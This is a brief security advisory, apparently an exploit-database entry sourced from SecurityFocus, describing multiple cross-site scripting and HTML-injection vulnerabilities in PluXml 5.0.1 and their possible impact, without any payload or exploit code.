PluXml 5.0.1 - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities

source: https://www.securityfocus.com/bid/44069/info

PluXml is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

PluXml 5.0.1 is vulnerable; prior versions may also be affected.
